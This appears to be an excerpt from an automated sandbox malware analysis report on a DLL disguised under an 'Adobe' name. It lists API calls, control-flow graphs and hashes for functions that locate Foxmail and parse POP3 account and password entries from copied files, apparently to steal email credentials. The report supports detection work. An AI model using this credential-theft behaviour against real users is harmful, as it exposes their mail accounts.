                                                                                        • lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000116D
                                                                                        • lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000117C
                                                                                        • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 10001193
                                                                                        • FindNextFileW.KERNELBASE(00000000,00000010), ref: 100011D0
                                                                                        • FindClose.KERNEL32(00000000), ref: 100011DB
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: lstrlen$Find$File$CloseFirstNextlstrcat
                                                                                        • String ID:
                                                                                        • API String ID: 1083526818-0
                                                                                        • Opcode ID: 27fd7685666e3c989c46effb07117df397b19369cc2c037b590c32d569d2463a
                                                                                        • Instruction ID: 89aa6ca17049c9a574106098fd68ded4b08ae6dd255c3979a52dcbc6bb9ed716
                                                                                        • Opcode Fuzzy Hash: 27fd7685666e3c989c46effb07117df397b19369cc2c037b590c32d569d2463a
                                                                                        • Instruction Fuzzy Hash: D22193715043586BE714EB649C49FDF7BDCEF84394F00092AFA58D3190E770D64487A6
                                                                                        Function 100012EE Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 243stringCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        APIs
                                                                                        • GetEnvironmentVariableW.KERNEL32(ProgramFiles,?,00000104), ref: 10001434
                                                                                          • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,00000002,00000000), ref: 10001137
                                                                                          • Part of subcall function 100010F1: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 10001151
                                                                                          • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000115C
                                                                                          • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000116D
                                                                                          • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000117C
                                                                                          • Part of subcall function 100010F1: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 10001193
                                                                                          • Part of subcall function 100010F1: FindNextFileW.KERNELBASE(00000000,00000010), ref: 100011D0
                                                                                          • Part of subcall function 100010F1: FindClose.KERNEL32(00000000), ref: 100011DB
                                                                                        • lstrlenW.KERNEL32(?), ref: 100014C5
                                                                                        • lstrlenW.KERNEL32(?), ref: 100014E0
                                                                                        • lstrlenW.KERNEL32(?,?), ref: 1000150F
                                                                                        • lstrcatW.KERNEL32(00000000), ref: 10001521
                                                                                        • lstrlenW.KERNEL32(?,?), ref: 10001547
                                                                                        • lstrcatW.KERNEL32(00000000), ref: 10001553
                                                                                        • lstrlenW.KERNEL32(?,?), ref: 10001579
                                                                                        • lstrcatW.KERNEL32(00000000), ref: 10001585
                                                                                        • lstrlenW.KERNEL32(?,?), ref: 100015AB
                                                                                        • lstrcatW.KERNEL32(00000000), ref: 100015B7
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: lstrlen$lstrcat$Find$File$CloseEnvironmentFirstNextVariable
                                                                                        • String ID: )$Foxmail$ProgramFiles
                                                                                        • API String ID: 672098462-2938083778
                                                                                        • Opcode ID: 70009fe3950369d2bec9de66e6564922956a7fdd4521fcb7cc54e78474496dcb
                                                                                        • Instruction ID: 44b728d421a24f1832cbc0053e0d9d9aefaca4d51113d01ad6b93c48f87fe4b0
                                                                                        • Opcode Fuzzy Hash: 70009fe3950369d2bec9de66e6564922956a7fdd4521fcb7cc54e78474496dcb
                                                                                        • Instruction Fuzzy Hash: 4081A475A40358A9EB30D7A0DC86FDE7379EF84740F00059AF608EB191EBB16AC5CB95
                                                                                        Function 1000C7E6 Relevance: 9.1, APIs: 6, Instructions: 65libraryloaderCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        APIs
                                                                                        • GetModuleHandleA.KERNEL32(1000C7DD), ref: 1000C7E6
                                                                                        • GetModuleHandleA.KERNEL32(?,1000C7DD), ref: 1000C838
                                                                                        • GetProcAddress.KERNEL32(00000000,00000000), ref: 1000C860
                                                                                          • Part of subcall function 1000C803: GetProcAddress.KERNEL32(00000000,1000C7F4), ref: 1000C804
                                                                                          • Part of subcall function 1000C803: VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C816
                                                                                          • Part of subcall function 1000C803: VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C82A
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: AddressHandleModuleProcProtectVirtual
                                                                                        • String ID:
                                                                                        • API String ID: 2099061454-0
                                                                                        • Opcode ID: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
                                                                                        • Instruction ID: 210348daefc771ff09e919cc38fdfa0d839c8297c2798a32150270056baeab90
                                                                                        • Opcode Fuzzy Hash: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
                                                                                        • Instruction Fuzzy Hash: 0301D22094574A38BA51D7B40C06EBA5FD8DB176E0B24D756F1408619BDDA08906C3AE
                                                                                        Function 1000C7A7 Relevance: 7.6, APIs: 5, Instructions: 100libraryloaderCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 79 1000c7a7-1000c7bc 80 1000c82d 79->80 81 1000c7be-1000c7c6 79->81 83 1000c82f-1000c833 80->83 81->80 82 1000c7c8-1000c7f6 call 1000c7e6 81->82 91 1000c7f8 82->91 92 1000c86c-1000c86e 82->92 85 1000c872 call 1000c877 83->85 86 1000c835-1000c83d GetModuleHandleA 83->86 89 1000c83f-1000c847 86->89 89->89 90 1000c849-1000c84c 89->90 90->83 93 1000c84e-1000c850 90->93 94 1000c7fa-1000c7fe 91->94 95 1000c85b-1000c85e 91->95 96 1000c870 92->96 97 1000c866-1000c86b 92->97 98 1000c852-1000c854 93->98 99 1000c856-1000c85a 93->99 102 1000c865 94->102 103 1000c800-1000c80b GetProcAddress 94->103 100 1000c85f-1000c860 GetProcAddress 95->100 96->90 97->92 98->100 99->95 100->102 102->97 103->80 104 1000c80d-1000c81a VirtualProtect 103->104 105 1000c82c 104->105 106 1000c81c-1000c82a VirtualProtect 104->106 105->80 106->105
                                                                                        APIs
                                                                                        • GetModuleHandleA.KERNEL32(?,1000C7DD), ref: 1000C838
                                                                                        • GetProcAddress.KERNEL32(00000000,00000000), ref: 1000C860
                                                                                          • Part of subcall function 1000C7E6: GetModuleHandleA.KERNEL32(1000C7DD), ref: 1000C7E6
                                                                                          • Part of subcall function 1000C7E6: GetProcAddress.KERNEL32(00000000,1000C7F4), ref: 1000C804
                                                                                          • Part of subcall function 1000C7E6: VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C816
                                                                                          • Part of subcall function 1000C7E6: VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C82A
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: AddressHandleModuleProcProtectVirtual
                                                                                        • String ID:
                                                                                        • API String ID: 2099061454-0
                                                                                        • Opcode ID: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
                                                                                        • Instruction ID: abaa11d5974e3e1b05dfd32ec0224f7ddc3d76465740e120717e363e7a178845
                                                                                        • Opcode Fuzzy Hash: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
                                                                                        • Instruction Fuzzy Hash: A921382140838A6FF711CBB44C05FA67FD8DB172E0F198696E040CB147DDA89845C3AE
                                                                                        Function 1000C803 Relevance: 7.6, APIs: 5, Instructions: 54librarymemoryloaderCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 107 1000c803-1000c80b GetProcAddress 108 1000c82d 107->108 109 1000c80d-1000c81a VirtualProtect 107->109 112 1000c82f-1000c833 108->112 110 1000c82c 109->110 111 1000c81c-1000c82a VirtualProtect 109->111 110->108 111->110 113 1000c872 call 1000c877 112->113 114 1000c835-1000c83d GetModuleHandleA 112->114 116 1000c83f-1000c847 114->116 116->116 117 1000c849-1000c84c 116->117 117->112 118 1000c84e-1000c850 117->118 119 1000c852-1000c854 118->119 120 1000c856-1000c85e 118->120 121 1000c85f-1000c865 GetProcAddress 119->121 120->121 124 1000c866-1000c86e 121->124 126 1000c870 124->126 126->117
                                                                                        APIs
                                                                                        • GetProcAddress.KERNEL32(00000000,1000C7F4), ref: 1000C804
                                                                                        • VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C816
                                                                                        • VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C82A
                                                                                        • GetModuleHandleA.KERNEL32(?,1000C7DD), ref: 1000C838
                                                                                        • GetProcAddress.KERNEL32(00000000,00000000), ref: 1000C860
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: AddressProcProtectVirtual$HandleModule
                                                                                        • String ID:
                                                                                        • API String ID: 2152742572-0
                                                                                        • Opcode ID: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
                                                                                        • Instruction ID: 9138b94afbcae90e12a8614b592989542e7cb6e8cba5f1d72008c399686a5f74
                                                                                        • Opcode Fuzzy Hash: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
                                                                                        • Instruction Fuzzy Hash: B7F0C2619497893CFA21C7B40C45EBA5FCCCB276E0B249A56F600C718BDCA5890693FE

                                                                                        Non-executed Functions

                                                                                        Function 1000173A Relevance: 30.0, APIs: 5, Strings: 12, Instructions: 210COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 136 1000173a-100017fe call 1000c030 call 10002c40 * 2 143 10001803 call 10001cca 136->143 144 10001808-1000180c 143->144 145 10001812-10001816 144->145 146 100019ad-100019b1 144->146 145->146 147 1000181c-10001837 call 10001ede 145->147 150 1000183d-10001845 147->150 151 1000199f-100019ac call 10001ee7 * 2 147->151 153 10001982-10001985 150->153 154 1000184b-1000184e 150->154 151->146 156 10001995-10001999 153->156 157 10001987 153->157 154->153 158 10001854-10001881 call 100044b0 * 2 call 10001db7 154->158 156->150 156->151 160 1000198a-1000198d call 10002c40 157->160 170 10001887-1000189f call 100044b0 call 10001db7 158->170 171 1000193d-10001943 158->171 166 10001992 160->166 166->156 170->171 187 100018a5-100018a8 170->187 173 10001945-10001947 171->173 174 1000197e-10001980 171->174 173->174 175 10001949-1000194b 173->175 174->160 177 10001961-1000197c call 100016aa 175->177 178 1000194d-1000194f 175->178 177->166 180 10001951-10001953 178->180 181 10001955-10001957 178->181 180->177 180->181 184 10001959-1000195b 181->184 185 1000195d-1000195f 181->185 184->177 184->185 185->174 185->177 188 100018c4-100018dc call 100044b0 call 10001db7 187->188 189 100018aa-100018c2 call 100044b0 call 10001db7 187->189 188->156 198 100018e2-1000193b call 100016aa call 100015da call 10002c40 * 2 188->198 189->188 189->198 198->156
                                                                                        APIs
                                                                                          • Part of subcall function 10001CCA: CopyFileW.KERNEL32(?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D1B
                                                                                          • Part of subcall function 10001CCA: CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,?,?,00000000), ref: 10001D37
                                                                                          • Part of subcall function 10001CCA: DeleteFileW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D4B
                                                                                        • _strlen.LIBCMT ref: 10001855
                                                                                        • _strlen.LIBCMT ref: 10001869
                                                                                        • _strlen.LIBCMT ref: 1000188B
                                                                                        • _strlen.LIBCMT ref: 100018AE
                                                                                        • _strlen.LIBCMT ref: 100018C8
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: _strlen$File$CopyCreateDelete
                                                                                        • String ID: Acco$Acco$POP3$POP3$Pass$Pass$t$t$un$un$word$word
                                                                                        • API String ID: 3296212668-3023110444
                                                                                        • Opcode ID: 6f2763eb29f99e55b9fa1c4501e1124463a6139b8cfee53aa49ae728a3ea04e1
                                                                                        • Instruction ID: bb93a2ec4ecc4c0c7ac40ef0fbf5621e946fdf476ba73097d2750e43d9e064ca
                                                                                        • Opcode Fuzzy Hash: 6f2763eb29f99e55b9fa1c4501e1124463a6139b8cfee53aa49ae728a3ea04e1
                                                                                        • Instruction Fuzzy Hash: 69612475D04218ABFF11CBE4C851BDEB7F9EF45280F00409AE604A7299EF706A45CF96
                                                                                        Function 100019B2 Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 218COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        APIs
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: _strlen
                                                                                        • String ID: %m$~$Gon~$~F@7$~dra
                                                                                        • API String ID: 4218353326-230879103
                                                                                        • Opcode ID: 5313ffee17f5d615fcbb67a61029f9413697531bcd3fb870ba25ca75e457194f
                                                                                        • Instruction ID: 2a57ee3bda34e0ca62253b4f9cdd28a92c7aa5ebcaa9e167bfd7dd38749d7a78
                                                                                        • Opcode Fuzzy Hash: 5313ffee17f5d615fcbb67a61029f9413697531bcd3fb870ba25ca75e457194f
                                                                                        • Instruction Fuzzy Hash: 9371F5B5D002685BEF11DBB49895BDF7BFCDB05280F104096E644D7246EB74EB85CBA0
                                                                                        Function 10007CC2 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 276 10007cc2-10007cd6 277 10007d44-10007d4c 276->277 278 10007cd8-10007cdd 276->278 280 10007d93-10007dab call 10007e35 277->280 281 10007d4e-10007d51 277->281 278->277 279 10007cdf-10007ce4 278->279 279->277 282 10007ce6-10007ce9 279->282 290 10007dae-10007db5 280->290 281->280 284 10007d53-10007d90 call 1000571e * 4 281->284 282->277 285 10007ceb-10007cf3 282->285 284->280 288 10007cf5-10007cf8 285->288 289 10007d0d-10007d15 285->289 288->289 292 10007cfa-10007d0c call 1000571e call 100090ba 288->292 295 10007d17-10007d1a 289->295 296 10007d2f-10007d43 call 1000571e * 2 289->296 293 10007dd4-10007dd8 290->293 294 10007db7-10007dbb 290->294 292->289 298 10007df0-10007dfc 293->298 299 10007dda-10007ddf 293->299 302 10007dd1 294->302 303 10007dbd-10007dc0 294->303 295->296 304 10007d1c-10007d2e call 1000571e call 100091b8 295->304 296->277 298->290 311 10007dfe-10007e0b call 1000571e 298->311 308 10007de1-10007de4 299->308 309 10007ded 299->309 302->293 303->302 313 10007dc2-10007dd0 call 1000571e * 2 303->313 304->296 308->309 316 10007de6-10007dec call 1000571e 308->316 309->298 313->302 316->309
                                                                                        APIs
                                                                                        • ___free_lconv_mon.LIBCMT ref: 10007D06
                                                                                          • Part of subcall function 100090BA: _free.LIBCMT ref: 100090D7
                                                                                          • Part of subcall function 100090BA: _free.LIBCMT ref: 100090E9
                                                                                          • Part of subcall function 100090BA: _free.LIBCMT ref: 100090FB
                                                                                          • Part of subcall function 100090BA: _free.LIBCMT ref: 1000910D
                                                                                          • Part of subcall function 100090BA: _free.LIBCMT ref: 1000911F
                                                                                          • Part of subcall function 100090BA: _free.LIBCMT ref: 10009131
                                                                                          • Part of subcall function 100090BA: _free.LIBCMT ref: 10009143
                                                                                          • Part of subcall function 100090BA: _free.LIBCMT ref: 10009155
                                                                                          • Part of subcall function 100090BA: _free.LIBCMT ref: 10009167
                                                                                          • Part of subcall function 100090BA: _free.LIBCMT ref: 10009179
                                                                                          • Part of subcall function 100090BA: _free.LIBCMT ref: 1000918B
                                                                                          • Part of subcall function 100090BA: _free.LIBCMT ref: 1000919D
                                                                                          • Part of subcall function 100090BA: _free.LIBCMT ref: 100091AF
                                                                                        • _free.LIBCMT ref: 10007CFB
                                                                                          • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?), ref: 10005734
                                                                                          • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                                                                                        • _free.LIBCMT ref: 10007D1D
                                                                                        • _free.LIBCMT ref: 10007D32
                                                                                        • _free.LIBCMT ref: 10007D3D
                                                                                        • _free.LIBCMT ref: 10007D5F
                                                                                        • _free.LIBCMT ref: 10007D72
                                                                                        • _free.LIBCMT ref: 10007D80
                                                                                        • _free.LIBCMT ref: 10007D8B
                                                                                        • _free.LIBCMT ref: 10007DC3
                                                                                        • _free.LIBCMT ref: 10007DCA
                                                                                        • _free.LIBCMT ref: 10007DE7
                                                                                        • _free.LIBCMT ref: 10007DFF
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                                                        • String ID:
                                                                                        • API String ID: 161543041-0
                                                                                        • Opcode ID: 04f87de51616aa77c632626b63215b7c3e2981daeb02be256c48a4a07a0be686
                                                                                        • Instruction ID: 6de9b84f5b51ee4e35cbeb1ed48e08772f21b212059d2ac72beb9c863e9ed859
                                                                                        • Opcode Fuzzy Hash: 04f87de51616aa77c632626b63215b7c3e2981daeb02be256c48a4a07a0be686
                                                                                        • Instruction Fuzzy Hash: 90313931A04645EFFB21DA38E941B6A77FAFF002D1F11446AE84DDB159DE3ABC809B14
                                                                                        Function 100059D6 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        APIs
                                                                                        • _free.LIBCMT ref: 100059EA
                                                                                          • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?), ref: 10005734
                                                                                          • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                                                                                        • _free.LIBCMT ref: 100059F6
                                                                                        • _free.LIBCMT ref: 10005A01
                                                                                        • _free.LIBCMT ref: 10005A0C
                                                                                        • _free.LIBCMT ref: 10005A17
                                                                                        • _free.LIBCMT ref: 10005A22
                                                                                        • _free.LIBCMT ref: 10005A2D
                                                                                        • _free.LIBCMT ref: 10005A38
                                                                                        • _free.LIBCMT ref: 10005A43
                                                                                        • _free.LIBCMT ref: 10005A51
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: _free$ErrorFreeHeapLast
                                                                                        • String ID:
                                                                                        • API String ID: 776569668-0
                                                                                        • Opcode ID: c98d8f3bae8e62c9802464aaca1a5f37d2e9bc397092d84fe88d11ffaa9aaf75
                                                                                        • Instruction ID: 60753d52f1e9cb5801f9add085180c5dd3fc305f79823ad6bc57240ee419c635
                                                                                        • Opcode Fuzzy Hash: c98d8f3bae8e62c9802464aaca1a5f37d2e9bc397092d84fe88d11ffaa9aaf75
                                                                                        • Instruction Fuzzy Hash: BE11B97E514548FFEB11DF58D842CDE3FA9EF04291B4540A1BD088F12ADA32EE50AB84
                                                                                        Function 10001CCA Relevance: 13.6, APIs: 9, Instructions: 84fileCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        APIs
                                                                                        • CopyFileW.KERNEL32(?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D1B
                                                                                        • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,?,?,00000000), ref: 10001D37
                                                                                        • DeleteFileW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D4B
                                                                                        • GetFileSize.KERNEL32(00000000,00000000,?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D58
                                                                                        • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D72
                                                                                        • CloseHandle.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D7D
                                                                                        • DeleteFileW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D8A
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: File$Delete$CloseCopyCreateHandleReadSize
                                                                                        • String ID:
                                                                                        • API String ID: 1454806937-0
                                                                                        • Opcode ID: 95ffba8e0906de61fbf41533eef9bce15325b0b0370a179d90a4a5ca68fedbfa
                                                                                        • Instruction ID: 3114db45d92e83daf92c47a85baf70c14dd0292bf94a6379629bf72341f68b19
                                                                                        • Opcode Fuzzy Hash: 95ffba8e0906de61fbf41533eef9bce15325b0b0370a179d90a4a5ca68fedbfa
                                                                                        • Instruction Fuzzy Hash: 2221FCB594122CAFF710EBA08CCCFEF76ACEB08395F010566F515D2154D6709E458A70
                                                                                        Function 10009492 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 377 10009492-100094ef GetConsoleCP 378 10009632-10009644 call 10002ada 377->378 379 100094f5-10009511 377->379 381 10009513-1000952a 379->381 382 1000952c-1000953d call 10007c19 379->382 384 10009566-10009575 call 100079e6 381->384 389 10009563-10009565 382->389 390 1000953f-10009542 382->390 384->378 391 1000957b-1000959b WideCharToMultiByte 384->391 389->384 392 10009548-1000955a call 100079e6 390->392 393 10009609-10009628 390->393 391->378 394 100095a1-100095b7 WriteFile 391->394 392->378 399 10009560-10009561 392->399 393->378 396 100095b9-100095ca 394->396 397 1000962a-10009630 GetLastError 394->397 396->378 400 100095cc-100095d0 396->400 397->378 399->391 401 100095d2-100095f0 WriteFile 400->401 402 100095fe-10009601 400->402 401->397 403 100095f2-100095f6 401->403 402->379 404 10009607 402->404 403->378 405 100095f8-100095fb 403->405 404->378 405->402
                                                                                        APIs
                                                                                        • GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,10009C07,?,00000000,?,00000000,00000000), ref: 100094D4
                                                                                        • __fassign.LIBCMT ref: 1000954F
                                                                                        • __fassign.LIBCMT ref: 1000956A
                                                                                        • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 10009590
                                                                                        • WriteFile.KERNEL32(?,?,00000000,10009C07,00000000,?,?,?,?,?,?,?,?,?,10009C07,?), ref: 100095AF
                                                                                        • WriteFile.KERNEL32(?,?,00000001,10009C07,00000000,?,?,?,?,?,?,?,?,?,10009C07,?), ref: 100095E8
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                                                        • String ID:
                                                                                        • API String ID: 1324828854-0
                                                                                        • Opcode ID: c8cde1f94c5a3c187481f919a86e285046f284bf183baf255f965bcae4dd5098
                                                                                        • Instruction ID: 7b1e32e7ca62d622bc6abd4954a79b3a1191cf35157f5551c2bc05612337e78d
                                                                                        • Opcode Fuzzy Hash: c8cde1f94c5a3c187481f919a86e285046f284bf183baf255f965bcae4dd5098
                                                                                        • Instruction Fuzzy Hash: D7519271D00249AFEB10CFA4CC95BDEBBF8EF09350F15811AE955E7295D731AA41CB60
                                                                                        Function 10003370 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
